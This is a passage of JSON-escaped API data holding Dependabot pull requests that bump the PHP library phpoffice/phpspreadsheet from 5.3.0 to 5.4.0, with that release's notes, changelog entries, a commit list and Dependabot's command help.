href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4768\"\u003ePHPOffice/PhpSpreadsheet#4768\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRowspan in Html. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1319\"\u003e#1319\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1319\"\u003ePHPOffice/PhpSpreadsheet#1319\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4767\"\u003e#4767\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4767\"\u003ePHPOffice/PhpSpreadsheet#4767\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMpdf styling of multi-line strings. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4773\"\u003e#4773\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4773\"\u003ePHPOffice/PhpSpreadsheet#4773\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4775\"\u003e#4775\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4775\"\u003ePHPOffice/PhpSpreadsheet#4775\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/master/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2026-01-10 - 5.4.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eStore image in cell (Xlsx only). [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4014\"\u003e#4014\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4014\"\u003ePHPOffice/PhpSpreadsheet#4014\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4034\"\u003e#4034\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4034\"\u003ePHPOffice/PhpSpreadsheet#4034\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/913\"\u003e#913\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/913\"\u003ePHPOffice/PhpSpreadsheet#913\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4677\"\u003e#4677\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4677\"\u003ePHPOffice/PhpSpreadsheet#4677\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePassthrough support (with some restrictions) for otherwise unsupported drawing elements. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4037\"\u003e#4037\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4037\"\u003ePHPOffice/PhpSpreadsheet#4037\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4704\"\u003e#4704\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4704\"\u003ePHPOffice/PhpSpreadsheet#4704\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4712\"\u003e#4712\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4712\"\u003ePHPOffice/PhpSpreadsheet#4712\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSet all locale variables at once in a threadsafe manner. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/954\"\u003e#954\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/954\"\u003ePHPOffice/PhpSpreadsheet#954\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4760\"\u003e#4760\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4760\"\u003ePHPOffice/PhpSpreadsheet#4760\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReader/Html add ability to suppress warning messages from loadhtml. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/647\"\u003e#647\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/647\"\u003ePHPOffice/PhpSpreadsheet#647\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/849\"\u003e#849\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/849\"\u003ePHPOffice/PhpSpreadsheet#849\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4761\"\u003e#4761\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4761\"\u003ePHPOffice/PhpSpreadsheet#4761\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvaluation of WEBSERVICE no longer requires external client, but will use oldCalculatedValue unless the request is for a domain in a user-supplied whitelist. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eMoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCode to merge cell base style with table and conditional styles moved from Html Writer to its own class. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1058\"\u003e#1058\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1058\"\u003ePHPOffice/PhpSpreadsheet#1058\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4763\"\u003e#4763\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4763\"\u003ePHPOffice/PhpSpreadsheet#4763\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSettings methods setHttpClient, unsetHttpClient, getHttpClient, and getRequestFactory are no longer used. No replacement.\u003c/li\u003e\n\u003cli\u003eReader/Html protected property dataArray, described as used only for testing, is not used for testing. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSlightly better support for escaped characters in Xlsx Reader/Writer. [Discussion \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4724\"\u003e#4724\u003c/a\u003e](\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/discussions/4724\"\u003ehttps://github.com/PHPOffice/PhpSpreadsheet/discussions/4724\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4726\"\u003e#4726\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4726\"\u003ePHPOffice/PhpSpreadsheet#4726\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCODE/UNICODE and CHAR/UNICHAR. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4727\"\u003e#4727\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4727\"\u003ePHPOffice/PhpSpreadsheet#4727\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMinor changes to TextGrid. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4735\"\u003e#4735\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4735\"\u003ePHPOffice/PhpSpreadsheet#4735\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4743\"\u003e#4743\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4743\"\u003ePHPOffice/PhpSpreadsheet#4743\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSingle-character table names. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4739\"\u003e#4739\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4739\"\u003ePHPOffice/PhpSpreadsheet#4739\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4740\"\u003e#4740\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4740\"\u003ePHPOffice/PhpSpreadsheet#4740\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImprovements to SORT and SORTBY. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4743\"\u003e#4743\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4743\"\u003ePHPOffice/PhpSpreadsheet#4743\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCoverage-related changes in Shared. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4745\"\u003e#4745\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4745\"\u003ePHPOffice/PhpSpreadsheet#4745\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eListWorksheetInfo improvements for Xlsx and Ods. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3255\"\u003e#3255\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3255\"\u003ePHPOffice/PhpSpreadsheet#3255\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4746\"\u003e#4746\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4746\"\u003ePHPOffice/PhpSpreadsheet#4746\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix functions related to Student-T distribution. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4167\"\u003e#4167\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4167\"\u003ePHPOffice/PhpSpreadsheet#4167\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4748\"\u003e#4748\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4748\"\u003ePHPOffice/PhpSpreadsheet#4748\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix drawing hyperlinks. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/993\"\u003e#993\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/993\"\u003ePHPOffice/PhpSpreadsheet#993\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4764\"\u003e#4764\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4764\"\u003ePHPOffice/PhpSpreadsheet#4764\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix clone spreadsheet with defined names. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4753\"\u003e#4753\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4753\"\u003ePHPOffice/PhpSpreadsheet#4753\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChanges to WEBSERVICE. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMore consistent handling of unsupported functions. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/606\"\u003e#606\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/606\"\u003ePHPOffice/PhpSpreadsheet#606\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4772\"\u003e#4772\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4772\"\u003ePHPOffice/PhpSpreadsheet#4772\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChart shadow \u003ccode\u003ekx\u003c/code\u003e and \u003ccode\u003eky\u003c/code\u003e. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4770\"\u003e#4770\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4770\"\u003ePHPOffice/PhpSpreadsheet#4770\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSUBTOTAL and hidden rows. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/820\"\u003e#820\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/820\"\u003ePHPOffice/PhpSpreadsheet#820\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4765\"\u003e#4765\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4765\"\u003ePHPOffice/PhpSpreadsheet#4765\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix some hyperlink problems. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3889\"\u003e#3889\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3889\"\u003ePHPOffice/PhpSpreadsheet#3889\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/2464\"\u003e#2464\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/2464\"\u003ePHPOffice/PhpSpreadsheet#2464\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4771\"\u003e#4771\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4771\"\u003ePHPOffice/PhpSpreadsheet#4771\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXls Writer and empty RichText. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/918\"\u003e#918\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/918\"\u003ePHPOffice/PhpSpreadsheet#918\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4769\"\u003e#4769\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4769\"\u003ePHPOffice/PhpSpreadsheet#4769\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStrings that look like huge floating-point numbers. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4766\"\u003e#4766\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4766\"\u003ePHPOffice/PhpSpreadsheet#4766\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4768\"\u003e#4768\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4768\"\u003ePHPOffice/PhpSpreadsheet#4768\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRowspan in Html. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1319\"\u003e#1319\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1319\"\u003ePHPOffice/PhpSpreadsheet#1319\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4767\"\u003e#4767\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4767\"\u003ePHPOffice/PhpSpreadsheet#4767\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMpdf styling of multi-line strings. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4773\"\u003e#4773\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4773\"\u003ePHPOffice/PhpSpreadsheet#4773\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4775\"\u003e#4775\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4775\"\u003ePHPOffice/PhpSpreadsheet#4775\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2025-11-24 - 5.3.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFormal support for Php8.5.\u003c/li\u003e\n\u003cli\u003eLimited Printarea support for Html/Pdf. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3941\"\u003e#3941\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3941\"\u003ePHPOffice/PhpSpreadsheet#3941\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4711\"\u003e#4711\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4711\"\u003ePHPOffice/PhpSpreadsheet#4711\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/48f2fe37d64c2dece0ef71fb2ac55497566782af\"\u003e\u003ccode\u003e48f2fe3\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4777\"\u003e#4777\u003c/a\u003e from oleibman/changelog20260109\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/79208b34f451a34f1c39a7e84c37bb87ea93b830\"\u003e\u003ccode\u003e79208b3\u003c/code\u003e\u003c/a\u003e Update Changelog For New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/2a60b97508329e93f7e73b0c28666ee54459c572\"\u003e\u003ccode\u003e2a60b97\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4775\"\u003e#4775\u003c/a\u003e from oleibman/issue4773\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/69d337ded7bd94b6dbc80d8f64226461b701337e\"\u003e\u003ccode\u003e69d337d\u003c/code\u003e\u003c/a\u003e Update CHANGELOG.md\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/60d0afd50131792eab570e38e7a1afb1f637556f\"\u003e\u003ccode\u003e60d0afd\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4772\"\u003e#4772\u003c/a\u003e from oleibman/issue606\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/c0b28c45fde1fa884b83abd069c2b3cb5d606fe7\"\u003e\u003ccode\u003ec0b28c4\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into issue606\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/d9a4765bd54f08810f852eb9f67673c5b29024a0\"\u003e\u003ccode\u003ed9a4765\u003c/code\u003e\u003c/a\u003e Update CHANGELOG.md\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/a9d60a10df16a9867f127b5d52b075534803a187\"\u003e\u003ccode\u003ea9d60a1\u003c/code\u003e\u003c/a\u003e Remove Trailing Space\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/53fe59626abefd7a557c750a6bad0f1b9582ec38\"\u003e\u003ccode\u003e53fe596\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into issue4773\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/f3f09bc9a6a335ccfe22690a89c25fe25dc2ecf8\"\u003e\u003ccode\u003ef3f09bc\u003c/code\u003e\u003c/a\u003e Mpdf Styling of Multi-Line Strings\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/5.3.0...5.4.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/MammothPHP/WoollyM/pull/94","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/MammothPHP%2FWoollyM/issues/94","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/94/packages"},{"uuid":"3802436111","node_id":"PR_kwDOICZwMc68mj9z","number":5729,"state":"open","title":"chore(deps): bump phpoffice/phpspreadsheet from 5.3.0 to 5.4.0","user":"dependabot[bot]","labels":["dependencies:composer"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-01-12T01:17:36.000Z","updated_at":"2026-01-15T09:50:42.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)","packages":[{"name":"phpoffice/phpspreadsheet","old_version":"5.3.0","new_version":"5.4.0","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"path":null,"ecosystem":"packagist"},"body":"Bumps [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) from 5.3.0 to 5.4.0.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.4.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eStore image in cell (Xlsx only). [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4014\"\u003e#4014\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4014\"\u003ePHPOffice/PhpSpreadsheet#4014\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4034\"\u003e#4034\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4034\"\u003ePHPOffice/PhpSpreadsheet#4034\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/913\"\u003e#913\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/913\"\u003ePHPOffice/PhpSpreadsheet#913\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4677\"\u003e#4677\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4677\"\u003ePHPOffice/PhpSpreadsheet#4677\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePassthrough support (with some restrictions) for otherwise unsupported drawing elements. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4037\"\u003e#4037\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4037\"\u003ePHPOffice/PhpSpreadsheet#4037\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4704\"\u003e#4704\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4704\"\u003ePHPOffice/PhpSpreadsheet#4704\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4712\"\u003e#4712\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4712\"\u003ePHPOffice/PhpSpreadsheet#4712\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSet all locale variables at once in a threadsafe manner. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/954\"\u003e#954\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/954\"\u003ePHPOffice/PhpSpreadsheet#954\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4760\"\u003e#4760\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4760\"\u003ePHPOffice/PhpSpreadsheet#4760\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReader/Html add ability to suppress warning messages from loadhtml. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/647\"\u003e#647\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/647\"\u003ePHPOffice/PhpSpreadsheet#647\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/849\"\u003e#849\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/849\"\u003ePHPOffice/PhpSpreadsheet#849\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4761\"\u003e#4761\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4761\"\u003ePHPOffice/PhpSpreadsheet#4761\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvaluation of WEBSERVICE no longer requires external client, but will use oldCalculatedValue unless the request is for a domain in a user-supplied whitelist. [PR \u003ca 